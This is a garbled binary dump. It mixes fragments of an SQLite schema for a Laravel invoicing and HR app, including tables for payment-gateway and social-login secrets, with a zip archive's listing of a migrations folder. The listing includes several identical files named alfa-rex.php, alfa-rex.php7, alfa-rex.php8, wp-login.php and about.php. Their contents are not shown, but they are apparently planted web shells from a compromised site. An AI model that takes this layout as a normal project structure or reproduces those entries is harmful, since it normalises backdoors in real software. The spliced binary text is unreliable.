DEFAULT 'percent' NOT NULL, total DOUBLE PRECISION NOT NULL, status VARCHAR(255) DEFAULT 'unpaid' NOT NULL, recurring VARCHAR(255) DEFAULT 'no' NOT NULL, billing_cycle INTEGER DEFAULT NULL, billing_interval INTEGER DEFAULT NULL, billing_frequency VARCHAR(255) DEFAULT NULL, file VARCHAR(255) DEFAULT NULL, file_original_name VARCHAR(255) DEFAULT NULL, note CLOB DEFAULT NULL, credit_note BOOLEAN DEFAULT 0 NOT NULL, show_shipping_address VARCHAR(255) DEFAULT 'no' NOT NULL, send_status BOOLEAN DEFAULT 1 NOT NULL, due_amount DOUBLE PRECISION DEFAULT '0' NOT NULL, hash CLOB DEFAULT NULL, calculate_tax VARCHAR(255) DEFAULT 'after_discount' NOT NULL, event_id CLOB DEFAULT NULL, custom_invoice_number VARCHAR(255) DEFAULT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, bank_account_id INTEGER DEFAULT NULL, default_currency_id INTEGER DEFAULT NULL, exchange_rate DOUBLE PRECISION DEFAULT NULL, last_viewed DATETIME DEFAULT NULL, ip_address VARCHAR(255) DEFAULT NULL, quickbooks_invoice_id INTEGER DEFAULT NULL, payment_status VARCHAR(255) DEFAULT '0' NOT NULL, transaction_id VARCHAR(255) DEFAULT NULL, gateway VARCHAR(255) DEFAULT NULL, original_invoice_number VARCHAR(255) DEFAULT NULL, FOREIGN KEY (company_id) REFERENCES companies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (added_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (client_id) REFERENCES users (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (company_address_id) REFERENCES company_addresses (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (created_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE NO ACTION NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (currency_id) REFERENCES currencies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (estimate_id) REFERENCES estimates (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (invoice_recurring_id) REFERENCES invoice_recurring (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (last_updated_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (order_id) REFERENCES orders (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (parent_id) REFERENCES invoices (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (project_id) REFERENCES projects (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE)  r 30WhVNMO'indexproposals_last_updated_by_foreignproposalsCREATE INDEX proposals_last_updated_by_foreign ON proposals (last_updated_by)pLA indexproposals_added_by_foreignproposalsCREATE INDEX proposals_added_by_foreign ON proposals (added_by)yKGindexproposals_currency_id_foreignproposalsCREATE INDEX proposals_currency_id_foreign ON proposals (currency_id)mJ?indexproposals_lead_id_foreignproposalsCREATE INDEX proposals_lead_id_foreign ON proposals (lead_id)fI5indexIDX_A5BA3A8F979B1AD6proposalsCREATE INDEX IDX_A5BA3A8F979B1AD6 ON proposals (company_id)HKtableproposalsproposalsCREATE TABLE proposals (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, lead_id INTEGER NOT NULL, currency_id INTEGER DEFAULT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, valid_till DATE NOT NULL, sub_total DOUBLE PRECISION NOT NULL, total DOUBLE PRECISION NOT NULL, discount_type VARCHAR(255) NOT NULL, discount DOUBLE PRECISION NOT NULL, invoice_convert BOOLEAN DEFAULT 0 NOT NULL, status VARCHAR(255) DEFAULT 'waiting' NOT NULL, note CLOB DEFAULT NULL, description CLOB DEFAULT NULL, client_comment CLOB DEFAULT NULL, signature_approval BOOLEAN DEFAULT 1 NOT NULL, hash CLOB DEFAULT NULL, calculate_tax VARCHAR(255) DEFAULT 'after_discount' NOT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, last_viewed DATETIME DEFAULT NULL, ip_address VARCHAR(255) DEFAULT NULL, send_status BOOLEAN DEFAULT 1 NOT NULL, FOREIGN KEY (company_id) REFERENCES companies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (added_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (currency_id) REFERENCES currencies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (last_updated_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (lead_id) REFERENCES leads (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE)GW17indexproject_milestones_project_id_foreignproject_milestonesCREATE INDEX project_milestones_project_id_foreign ON project_milestones (project_id)FY1;indexproject_milestones_currency_id_foreignproject_milestonesCREATE INDEX project_milestones_currency_id_foreign ON project_milestones (currency_id)ES1/indexproject_milestones_added_by_foreignproject_milestonesCREATE INDEX project_milestones_added_by_foreign ON project_milestones (added_by))Da1Kindexproject_milestones_last_updated_by_foreignproject_milestonesCREATE INDEX project_milestones_last_updated_by_foreign ON project_milestones (last_updated_by)EC113tableproject_milestonesproject_milestonesCREATE TABLE project_milestones (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, project_id INTEGER DEFAULT NULL, currency_id INTEGER DEFAULT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, milestone_title VARCHAR(255) NOT NULL, summary CLOB NOT NULL, cost DOUBLE PRECISION NOT NULL, status VARCHAR(255) DEFAULT 'incomplete' NOT NULL, invoice_created BOOLEAN NOT NULL, invoice_id INTEGER DEFAULT NULL, start_date DATE DEFAULT NULL, end_date DATE DEFAULT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, FOREIGN KEY (added_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (currency_id) REFERENCES currencies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (last_updated_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (project_id) REFERENCES projects (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE)     c 2  s /a**]5{indexIDX_17904552979B1AD6leadsCREATE INDEX IDX_17904552979B1AD6 ON leads (company_id)_]5{indexIDX_17904552979B1AD6leadsCREATE INDEX IDX_17904552979B1AD6 ON leads (company_id)i}?indexleads_currency_id_foreignleads>CREATE INDEX leads_currency_id_foreign ON leads (currency_id)i|?indexleads_category_id_foreignleads=CREATE INDEX leads_category_id_foreign ON leads (category_id)_{9{indexleads_added_by_foreignleads >D-CC tablepayment_gateway_credentialspayment_gateway_credentialsCREATE TABLE payment_gateway_credentials (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, paypal_client_id VARCHAR(255) DEFAULT NULL, paypal_secret VARCHAR(255) DEFAULT NULL, paypal_status VARCHAR(255) DEFAULT 'deactive' NOT NULL, live_stripe_client_id VARCHAR(255) DEFAULT NULL, live_stripe_secret CLOB DEFAULT NULL, live_stripe_webhook_secret VARCHAR(255) DEFAULT NULL, stripe_status VARCHAR(255) DEFAULT 'deactive' NOT NULL, live_razorpay_key VARCHAR(255) DEFAULT NULL, live_razorpay_secret CLOB DEFAULT NULL, razorpay_status VARCHAR(255) DEFAULT 'inactive' NOT NULL, paypal_mode VARCHAR(255) DEFAULT 'sandbox' NOT NULL, sandbox_paypal_client_id VARCHAR(255) DEFAULT NULL, sandbox_paypal_secret CLOB DEFAULT NULL, test_stripe_client_id VARCHAR(255) DEFAULT NULL, test_stripe_secret CLOB DEFAULT NULL, test_razorpay_key VARCHAR(255) DEFAULT NULL, test_razorpay_secret CLOB DEFAULT NULL, test_stripe_webhook_secret CLOB DEFAULT NULL, stripe_mode VARCHAR(255) DEFAULT 'test' NOT NULL, razorpay_mode VARCHAR(255) DEFAULT 'test' NOT NULL, paystack_key VARCHAR(255) DEFAULT NULL, paystack_secret CLOB DEFAULT NULL, paystack_merchant_email VARCHAR(255) DEFAULT NULL, paystack_status VARCHAR(255) DEFAULT 'deactive', paystack_mode VARCHAR(255) DEFAULT 'sandbox' NOT NULL, test_paystack_key VARCHAR(255) DEFAULT NULL, test_paystack_secret CLOB DEFAULT NULL, test_paystack_merchant_email VARCHAR(255) DEFAULT NULL, paystack_payment_url VARCHAR(255) DEFAULT 'https://api.paystack.co', mollie_api_key CLOB DEFAULT NULL, mollie_status VARCHAR(255) DEFAULT 'deactive', payfast_merchant_id VARCHAR(255) DEFAULT NULL, payfast_merchant_key CLOB DEFAULT NULL, payfast_passphrase VARCHAR(255) DEFAULT NULL, payfast_mode VARCHAR(255) DEFAULT 'sandbox' NOT NULL, payfast_status VARCHAR(255) DEFAULT 'deactive', authorize_api_login_id VARCHAR(255) DEFAULT NULL, authorize_transaction_key CLOB DEFAULT NULL, authorize_environment VARCHAR(255) DEFAULT 'sandbox' NOT NULL, authorize_status VARCHAR(255) DEFAULT 'deactive' NOT NULL, square_application_id VARCHAR(255) DEFAULT NULL, square_access_token CLOB DEFAULT NULL, square_location_id VARCHAR(255) DEFAULT NULL, square_environment VARCHAR(255) DEFAULT 'sandbox' NOT NULL, square_status VARCHAR(255) DEFAULT 'deactive' NOT NULL, flutterwave_status VARCHAR(255) DEFAULT 'deactive' NOT NULL, flutterwave_mode VARCHAR(255) DEFAULT 'sandbox' NOT NULL, test_flutterwave_key VARCHAR(255) DEFAULT NULL, test_flutterwave_secret CLOB DEFAULT NULL, test_flutterwave_hash VARCHAR(255) DEFAULT NULL, live_flutterwave_key CLOB DEFAULT NULL, live_flutterwave_secret VARCHAR(255) DEFAULT NULL, live_flutterwave_hash VARCHAR(255) DEFAULT NULL, flutterwave_webhook_secret_hash VARCHAR(255) DEFAULT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, test_payfast_merchant_id VARCHAR(255) DEFAULT NULL, test_payfast_merchant_key CLOB DEFAULT NULL, test_payfast_passphrase VARCHAR(255) DEFAULT NULL, test_razorpay_webhook_secret VARCHAR(255) DEFAULT NULL, live_razorpay_webhook_secret VARCHAR(255) DEFAULT NULL, FOREIGN KEY (company_id) REFERENCES companies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE)v,55 tablesocial_auth_settingssocial_auth_settings%CREATE TABLE social_auth_settings (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, facebook_client_id VARCHAR(255) DEFAULT NULL, facebook_secret_id CLOB DEFAULT NULL, facebook_status VARCHAR(255) DEFAULT 'disable' NOT NULL, google_client_id VARCHAR(255) DEFAULT NULL, google_secret_id CLOB DEFAULT NULL, google_status VARCHAR(255) DEFAULT 'disable' NOT NULL, twitter_client_id VARCHAR(255) DEFAULT NULL, twitter_secret_id CLOB DEFAULT NULL, twitter_status VARCHAR(255) DEFAULT 'disable' NOT NULL, linkedin_client_id VARCHAR(255) DEFAULT NULL, linkedin_secret_id CLOB DEFAULT NULL, linkedin_status VARCHAR(255) DEFAULT 'disable' NOT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL) r1/++tableglobal_settingsglobal_settingsCREATE TABLE global_settings (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, global_app_name VARCHAR(255) DEFAULT NULL, logo VARCHAR(255) DEFAULT NULL, light_logo VARCHAR(255) DEFAULT NULL, login_background VARCHAR(255) DEFAULT NULL, logo_background_color VARCHAR(255) DEFAULT NULL, sidebar_logo_style VARCHAR(255) DEFAULT 'square', locale VARCHAR(255) DEFAULT 'en' NOT NULL, purchase_code VARCHAR(255) DEFAULT NULL, supported_until DATETIME DEFAULT NULL, google_recaptcha_status VARCHAR(255) DEFAULT 'deactive' NOT NULL, google_recaptcha_v2_status VARCHAR(255) DEFAULT 'deactive' NOT NULL, google_recaptcha_v2_site_key VARCHAR(255) DEFAULT NULL, google_recaptcha_v2_secret_key VARCHAR(255) DEFAULT NULL, google_recaptcha_v3_status VARCHAR(255) DEFAULT 'deactive' NOT NULL, google_recaptcha_v3_site_key VARCHAR(255) DEFAULT NULL, google_recaptcha_v3_secret_key VARCHAR(255) DEFAULT NULL, app_debug BOOLEAN DEFAULT 0 NOT NULL, currency_converter_key VARCHAR(255) NOT NULL, currency_key_version VARCHAR(255) DEFAULT 'free' NOT NULL, moment_format VARCHAR(255) DEFAULT 'DD-MM-YYYY' NOT NULL, timezone VARCHAR(255) DEFAULT 'Asia/Kolkata' NOT NULL, rtl BOOLEAN DEFAULT 0 NOT NULL, license_type VARCHAR(255) DEFAULT NULL, hide_cron_message BOOLEAN DEFAULT 0 NOT NULL, system_update BOOLEAN DEFAULT 1 NOT NULL, show_review_modal BOOLEAN DEFAULT 1 NOT NULL, last_cron_run DATETIME DEFAULT NULL, favicon VARCHAR(255) DEFAULT NULL, auth_theme VARCHAR(255) DEFAULT 'light' NOT NULL, session_driver VARCHAR(255) DEFAULT 'file' NOT NULL, allowed_file_types CLOB DEFAULT NULL, allowed_file_size INTEGER DEFAULT 10 NOT NULL, show_update_popup BOOLEAN DEFAULT 1 NOT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, last_license_verified_at DATETIME DEFAULT NULL, header_color VARCHAR(255) DEFAULT '#1D82F5' NOT NULL, hash VARCHAR(255) DEFAULT NULL, google_map_key CLOB DEFAULT NULL, datatable_row_limit INTEGER DEFAULT 10 NOT NULL, date_format VARCHAR(255) DEFAULT 'd-m-Y' NOT NULL, time_format VARCHAR(255) DEFAULT 'h:i a' NOT NULL, google_calendar_status VARCHAR(255) DEFAULT 'inactive' NOT NULL, google_client_id CLOB DEFAULT NULL, google_client_secret CLOB DEFAULT NULL, auth_theme_text VARCHAR(255) DEFAULT 'dark' NOT NULL, allow_max_no_of_files INTEGER DEFAULT 10 NOT NULL, sign_up_terms VARCHAR(255) DEFAULT 'no' NOT NULL, terms_link CLOB DEFAULT NULL, email VARCHAR(255) DEFAULT NULL, purchased_on DATETIME DEFAULT NULL) .5C'indexIDX_5B1C9651979B1AD6payment_gateway_credentialsCREATE INDEX IDX_5B1C9651979B1AD6 ON payment_gateway_credentials (company_id)PKZGAk}|-|- about.php7nu[PKZ9n .DS_Storenu[Bud1indbwspblmaxmindbwspblobbplist00  ]ShowStatusBar[ShowToolbar[ShowTabView_ContainerShowSidebar\WindowBounds[ShowSidebar  _{{1151, 0}, {1399, 921}} #/;R_klmno maxmindvSrnlong  @ @ @ @ EDSDB ` @ @ @PKZGAk}|-|- alfa-rex.phpnu[PKZGAk}|-|--migrations/alfa-rex.phpnu[PKZwXzz2{[migrations/2023_05_16_114755_file_upload_to_s3.phpnu[PKZU!T=Wnmigrations/2024_10_01_055853_change_price_type_of_expense.phpnu[PKZ3Jpmigrations/2023_04_14_110419_add_send_status_column_in_proposals_table.phpnu[PKZt[[Gsmigrations/2024_04_17_064540_add_add_to_budget_column_in_proj_table.phpnu[PKZnRr?|ymigrations/2025_02_04_111756_add_leaves_to_reimburse_column.phpnu[PKZd}}G}migrations/2024_07_12_053537_change_datatype_of_approvalsend_column.phpnu[PKZy>>>Mmigrations/2024_08_13_071923_add_column_to_employee_shift_rotations_table.phpnu[PKZxIVOmigrations/2022_12_30_045028_add_number_separator_to_invoice_settings_table.phpnu[PKZLDmigrations/2024_09_13_092310_add_field_order_column_in_order_items_table.phpnu[PKZ }Imigrations/2024_03_22_125152_add_columns_to_attendance_settings_table.phpnu[PKZGS\Kmigrations/2024_02_04_074746_add_column_host_and_status_in_events_table.phpnu[PKZM@Imigrations/2022_12_13_071454_add_currency_id_in_currency_format_table.phpnu[PKZd>9`migrations/2022_12_01_070705_create_leave_files_table.phpnu[PKZ BNmigrations/2024_11_05_082725_add_client_id_column_in_client_contanct_table.phpnu[PKZ1󃃖Umigrations/2024_06_05_051512_add_ticket_round_robin_status_to_lead_settings_table.phpnu[PKZDmigrations/2023_02_13_045833_add_report_column_in_log_time_table.phpnu[PKZyb/G|migrations/2022_08_26_053139_add_parent_id_column_designation_table.phpnu[PKZB;migrations/2023_04_18_124728_create_mention_users_table.phpnu[PKZvx~M"migrations/2022_09_19_124014_add_delete_approve_leave_in_permission_table.phpnu[PKZfծ@ymigrations/2024_08_01_121908_update_null_leavetype_to_yearly.phpnu[PKZF^(migrations/2023_05_02_100907_fix_bug.phpnu[PKZ ::=migrations/2024_02_14_094339_employee_leave_quota_changes.phpnu[PKZ͟xxBgmigrations/2025_01_24_095318_add_column_in_lead_category_table.phpnu[PKZQFQmigrations/2023_02_15_121548_add_data_in_ticket_custom_forms_table.phpnu[PKZ[Fdmigrations/2025_01_24_100609_alter_lead_category_is_default_column.phpnu[PKZRAmigrations/2022_08_29_064339_add_added_by_to_project_template.phpnu[PKZq  :migrations/2024_09_13_114425_create_notice_files_table.phpnu[PKZ@m.Pmigrations/2024_10_24_064017_add_followups_widget_in_dashboard_widgets_table.phpnu[PKZN9kmigrations/2023_03_29_072032_create_order_carts_table.phpnu[PKZud(: migrations/2024_05_16_135801_create_lead_setting_table.phpnu[PKZͰQ3migrations/2025_04_22_045326_add_company_id_to_employee_shift_schedules_table.phpnu[PKZ+3QQHmigrations/2023_12_19_091940_change_column_type_in_order_items_table.phpnu[PKZxA00De3migrations/2024_07_26_080201_add_timestamps_to_leave_types_table.phpnu[PKZ   5 6migrations/2025_02_03_071444_alter_estimate_table.phpnu[PKZ+BBKy9migrations/2022_08_19_100314_add_leave_widget_in_dashboard_widget_table.phpnu[PKZjUC6=migrations/2022_10_09_155207_add_custom_year_to_companies_table.phpnu[PKZ}MiP@migrations/2023_12_04_113645_add_other_information_to_invoice_settings_table.phpnu[PKZ\ݍ?Cmigrations/2024_04_18_105848_create_employee_activity_table.phpnu[PKZKYMNNFKmigrations/2022_08_13_070443_add_task_unique_id_column_tasks_table.phpnu[PKZQQ?Pmigrations/2023_04_11_101429_task_hash_insert_in_task_table.phpnu[PKZ/oo<_Tmigrations/2024_09_16_093352_add_sign_by_contracts_table.phpnu[PKZ]dd:Xmigrations/.htaccessnu[PKZ3Ymigrations/2023_10_12_125041_fix_greek_language.phpnu[PKZX7D D =I]migrations/2022_09_01_083053_create_global_settings_table.phpnu[PKZbĵL}migrations/2023_05_16_083334_add_allow_max_file_to_global_settings_table.phpnu[PKZXomigrations/2022_11_03_115958_add_auto_clock_in_location_to_attendance_settings_table.phpnu[PKZ؞Amigrations/2024_05_24_054942_add_column_sku_in_products_table.phpnu[PKZEBmigrations/2022_08_23_065943_change_status_type_projects_table.phpnu[PKZt&F]Qmigrations/2024_10_25_084453_update_attendancesetting_halfday_mark_time_field.phpnu[PKZC-?migrations/2022_11_25_083742_add_company_id_for_null_values.phpnu[PKZ**F:migrations/2024_12_17_112758_create_weekly_timesheet_entries_table.phpnu[PKZCަ5ږmigrations/2024_04_15_112542_add_location_details.phpnu[PKZyttLmigrations/2024_10_15_082340_update_halfday_mark_time_for_day_off_shifts.phpnu[PKZGAk}|-|-՜migrations/alfa-rex.php7nu[PKZho o ?migrations/2023_02_27_081104_add_column_in_leave_type_table.phpnu[PKZd[[uuTwmigrations/2024_03_18_041113_add_owned_permission_to_edit_delete_sub_tasks_table.phpnu[PKZ)pp7pmigrations/2023_03_31_123237_fix_timelog_project_id.phpnu[PKZ#6IGmigrations/2024_11_04_121543_add_deal_stage_from_id_to_deal_histories.phpnu[PKZ q5zmigrations/2024_12_03_115823_company_id_milestone.phpnu[PKZ8|ll8vmigrations/2023_01_20_052539_create_unit_types_table.phpnu[PKZ``MJmigrations/2023_04_04_101429_google_calendar_keys_move_to_global_settings.phpnu[PKZGAk}|-|-'migrations/alfa-rex.php8nu[PKZ͗@'migrations/2023_02_17_052112_add_permissions_for_lead_report.phpnu[PKZ˒{{E/migrations/2024_12_11_101438_add_beams_push_notification_settings.phpnu[PKZΦuuJ3migrations/2024_07_10_085653_update_currency_exchangerate_and_invoives.phpnu[PKZ`75migrations/2022_11_23_070556_show_new_webhook_alert.phpnu[PKZo1t t RGmigrations/2023_12_29_110515_add_view_project_orders_field_in_permission_table.phpnu[PKZaZall9Rmigrations/2023_02_15_045950_add_unit_id_orders_table.phpnu[PKZGXmigrations/2023_03_21_095340_add_column_in_attendance_setting_table.phpnu[PKZys>>C[migrations/2024_05_31_120806_remove_duplicate_permission_upsert.phpnu[PKZ-xYdd;s_migrations/2024_12_23_101514_alter_client_contact_table.phpnu[PKZGAk}|-|-Bbmigrations/wp-login.phpnu[PKZzcnii2migrations/2023_04_03_132318_fix_invoice_units.phpnu[PKZ-GЫmigrations/2024_07_03_105326_change_holiday_permission_for_employee.phpnu[PKZVG(77@7migrations/2023_04_12_073033_add_contract_setting_permission.phpnu[PKZV8޹migrations/2024_07_31_115255_update_taskboard_column.phpnu[PKZL=3migrations/2022_07_14_063826_contract_templates.phpnu[PKZ/=migrations/2024_07_01_122207_create_rotation_automate_log.phpnu[PKZi;1migrations/2024_09_11_060652_fix_flexible_shift_columns.phpnu[PKZY9Umigrations/2022_08_25_123713_add_work_from_home_widget_in_dashboard_widgets_table.phpnu[PKZ$||;"migrations/2023_04_27_082330_create_invoice_files_table.phpnu[PKZ qii4 migrations/2024_08_13_050249_add_column_in_event.phpnu[PKZ^*Rmigrations/2024_09_12_044645_remove_on_delete_cascade_from_created_by_to_tasks.phpnu[PKZ?IH]migrations/2024_11_27_115857_add_attendance_type_to_attendance_table.phpnu[PKZ.VV=migrations/2022_12_12_113800_add_wasabi_hash_test_payfast.phpnu[PKZGAk}|-|-migrations/alfa-rex.php56nu[PKZ38EEJdmigrations/2023_04_17_085738_add_visible_column_in_custom_fields_table.phpnu[PKZyVV@#"migrations/2023_10_12_043341_fix_estimate_item_images_column.phpnu[PKZ99;&migrations/2024_10_28_090541_update_company_date_format.phpnu[PKZ6t6SS:,migrations/2024_08_27_051140_cleanup_deleted_task_data.phpnu[PKZX  ^^VJ1migrations/2024_05_31_044253_deal_pipeline_and_manage_deal_stage_permission_remove.phpnu[PKZ?J.5migrations/2022_09_23_181722_add_approve_reason_column_to_leaves_table.phpnu[PKZQ͙$$E48migrations/2024_06_25_044434_create_shift_rotation_sequence_table.phpnu[PKZ-xxL<migrations/2024_02_02_082817_add_column_tax_name_in_client_details_table.phpnu[PKZ1n9?migrations/2024_12_03_090714_add_company_id_milestone.phpnu[PKZ݉ACDmigrations/2024_06_11_063115_create_project_departments_table.phpnu[PKZq?Hmigrations/2024_12_17_112002_create_weekly_timesheets_table.phpnu[PKZڞ}d d GMmigrations/2022_09_05_064405_add_miro_board_column_in_project_table.phpnu[PKZ)``@Xmigrations/2023_03_24_081626_add_permission_for_sales_report.phpnu[PKZ#1FWamigrations/2023_07_10_064057_add_shift_assign_notification_setting.phpnu[PKZgJJ9remigrations/2024_06_21_113438_create_gantt_links_table.phpnu[PKZ(^\\J%jmigrations/2022_08_29_103443_add_flag_code_column_to_language_settings.phpnu[PKZsXXDmmigrations/2024_01_24_105920_add_column_sku_in_order_items_table.phpnu[PKZGBpmigrations/2023_11_21_112750_add_permissions_for_leave_reports.phpnu[PKZ%||Gumigrations/2023_11_08_123050_add_e_invoice_column_to_client_details.phpnu[PKZø``Czmigrations/2024_11_04_093951_add_orders_module_in_custom_fields.phpnu[PKZ@~migrations/2023_01_09_162235_create_estimate_templates_table.phpnu[PKZp*55Hmigrations/2022_09_20_045836_add_bank_account_module_in_module_table.phpnu[PKZްTT_4migrations/2022_08_26_042542_remove_on_delete_cascade_from_invoice_recurring_id_to_invoices.phpnu[PKZ&"=migrations/2024_05_30_114047_add_rtl_to_language_settings.phpnu[PKZYiq6.migrations/2023_06_12_094139_fix_file_upload_to_s3.phpnu[PKZA6migrations/2024_08_27_124352_fix_leave_paid_status.phpnu[PKZ 8~migrations/2024_09_06_093758_create_promotions_table.phpnu[PKZ꿓7migrations/2024_06_21_093830_add_column_in_projects.phpnu[PKZnrrr@migrations/2022_07_22_042424_create_proposal_templates_table.phpnu[PKZ0 Bmigrations/2023_02_07_122807_create_quick_books_settings_table.phpnu[PKZ=>C migrations/2023_12_26_102738_add_project_column_in_orders_table.phpnu[PKZ]F`migrations/2022_07_28_043824_add_export_column_custom_fields_table.phpnu[PKZBB__5migrations/2024_02_02_213519_update_deal_followup.phpnu[PKZ;5=migrations/2024_08_08_063009_update_proposal_prefix_issue.phpnu[PKZ{y8ZZPmigrations/2024_04_22_065735_add_notification_in_notification_settings_table.phpnu[PKZ0<z"migrations/2024_05_23_050905_modify_shift_schedule_table.phpnu[PKZGAk}|-|-%migrations/about.phpnu[PKZC99QdSmigrations/2024_06_03_062841_add_company_address_id_to_employee_details_table.phpnu[PKZ6F/""BWmigrations/2022_12_28_112213_add_new_fields_in_companies_table.phpnu[PKZl吭<Ymigrations/2024_06_25_043142_create_shift_rotation_table.phpnu[PKZqL@^migrations/2024_04_29_124448_create_ticket_reply_users_table.phpnu[PKZ~YXO O L:cmigrations/2024_05_06_084949_create_employee_leave_quota_histories_table.phpnu[PKZYEmmigrations/2022_08_19_115209_create_project_status_settings_table.phpnu[PKZJİ?eqmigrations/2024_02_07_213519_update_user_lead_board_setting.phpnu[PKZ9KWtmigrations/2023_03_21_090422_add_order_prefix_in_invoice_settings_table.phpnu[PKZVv([Bzmigrations/2024_07_23_052746_create_ticket_settings_for_agents.phpnu[PKZTe==- migrations/2023_05_21_113800_add_minio_s3.phpnu[PKZzzRmigrations/2023_04_18_061829_add_file_column_in_employee_shift_schedules_table.phpnu[PKZu9<migrations/error_lognu[PKZ{dd?zmigrations/2025_03_11_052951_alter_discussion_replies_table.phpnu[PKZןⰶWMmigrations/2022_09_23_053942_update_type_of_hsn_sac_code_to_proposal_template_items.phpnu[PKZPP4migrations/2024_05_24_054942_daily-schedule-hide.phpnu[PKZ,)wOwOG>migrations/2022_08_12_000000_create_other_migration_till_date_table.phpnu[PKZ 0SS5,migrations/2024_08_22_101139_add_lead_permissions.phpnu[PKZP`NN8migrations/2022_10_31_130459_order_with_order_number.phpnu[PKZ|ss?migrations/2024_06_27_080827_insert_row_in_taskboard_column.phpnu[PKZ /^^:|migrations/2024_03_07_100454_add_column_in_users_table.phpnu[PKZUDmigrations/2024_06_14_105841_add_column_in_leavetype_and_employeeleavequota_table.phpnu[PKZNwIILjmigrations/2024_05_30_062721_add_added_by_column_in_lead_pipelines_table.phpnu[PKZFLzz?/migrations/2024_06_21_070747_create_estimate_requests_table.phpnu[PKZ4]]Mmigrations/2023_04_19_100128_add_auth_theme_text_to_global_settings_table.phpnu[PKZFinnA migrations/2023_02_01_085841_add_company_sign_contracts_table.phpnu[PKZ`  ?migrations/2023_05_16_083058_add_ids_in_mention_users_table.phpnu[PKZLW~[[3Imigrations/2024_12_20_105535_fix_client_entries.phpnu[PKZб<migrations/2022_12_29_061634_add_column_in_invoice_table.phpnu[PKZ׀J migrations/2024_09_19_122038_update_expense_exchange_rate_column_value.phpnu[PKZX,9 9 <%migrations/2022_09_13_075642_create_leave_settings_table.phpnu[PKZ 320migrations/2024_10_19_092843_recalculate_leaves.phpnu[PKZa  L58migrations/2023_03_23_064221_add_country_phonecode_column_in_users_table.phpnu[PKZcpp>>migrations/2024_08_09_081908_add_twitter_id_to_users_table.phpnu[PKZ>xPAmigrations/2024_07_04_125225_add_estimate_request_prefix_to_invoice_settings.phpnu[PKZk݈BJmigrations/2023_09_25_055948_add_column_for_number_with_prefix.phpnu[PKZMgH]migrations/2022_08_25_085025_add_other_location_to_attendances_table.phpnu[PKZ/={8`migrations/2024_02_19_062223_create_deal_notes_table.phpnu[PKZh##@emigrations/2024_06_25_044638_update_employeeleavequota_table.phpnu[PKZ uu<eimigrations/2022_09_01_000000_add_company_id_in_all_table.phpnu[PKZ RSFmigrations/2024_12_03_115823_leave_duration_issue_for_unique_id_in_leaves_table.phpnu[PKZ2G\\H݇migrations/2024_07_09_083337_add_proposal_prefix_to_invoice_settings.phpnu[PKZKmigrations/2023_04_11_083659_add_bank_column_in_recurring_invoice_table.phpnu[PKZlMŽ3migrations/2022_09_02_151515_create_flags_table.phpnu[PKZIIImigrations/2022_12_05_062331_create_emoji_address_ticket_widget_table.phpnu[PKZMOmigrations/2024_09_05_051501_change_title_field_nullabe_to_deal_notes_table.phpnu[PKZo;11:migrations/2023_12_19_091940_purchase_on_setting_table.phpnu[PKZ;LiJnn:migrations/2024_08_28_072957_add_flexible_shift_column.phpnu[PKZ1 